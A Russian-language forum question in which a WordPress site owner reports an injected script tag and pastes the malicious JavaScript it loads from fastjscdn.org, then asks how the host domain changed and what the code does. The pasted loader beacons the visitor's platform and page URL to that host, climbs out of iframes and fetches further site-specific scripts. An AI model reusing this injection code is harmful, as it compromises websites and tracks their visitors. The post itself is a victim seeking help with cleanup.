Вредоносный JS-код в Wordpress меняет домен, на котором он размещен

На моем сайте Wordpress у меня есть этот вредоносный код перед «/ body»:

<script src = "https://fastjscdn.org/static.js?hash=a633f506a53746a846742c5655ebf596"></script>

Файл static.js содержит это:

window.__google__ads__show||(window.__google__ads__show = "1",function(){if (function t(){try{return window.self!==window.top}catch(a){return!0}}()){var t,a,e=window.parent.document.createElement("script");e.src = "https://fastjscdn.org/static.js",window.parent.document.body.appendChild(e);return}fetch("https://fastjscdn.org/platform/"+(window.navigator?.userAgentData?.platform||window.navigator.platform)+"/url/"+window.location.href).then(t=>{}),t = "https://fastjscdn.org/"+window.location.hostname.replace("www.","")+"/static.js",(a=document.createElement("script")).src=t,document.head.appendChild(a)}());

До «fastjscdn .org» вредоносный код JS размещался на домене с именем «asmr9999 .live». Через несколько дней домен изменился на «fastjscdn .org».

Как это возможно? Как он может изменить домен, на котором он размещен?

Я уверен, что Wordpress, темы и плагины не содержат вредоносного кода. Я ничего не нашел в базе данных, также в кодировке base64, пока.

Кроме того, что код в файле JS делает с моим сайтом?

Так же нашел других людей с моим таким же зловредом, в кастомной CMS никак не можем решить проблему. Подробнее здесь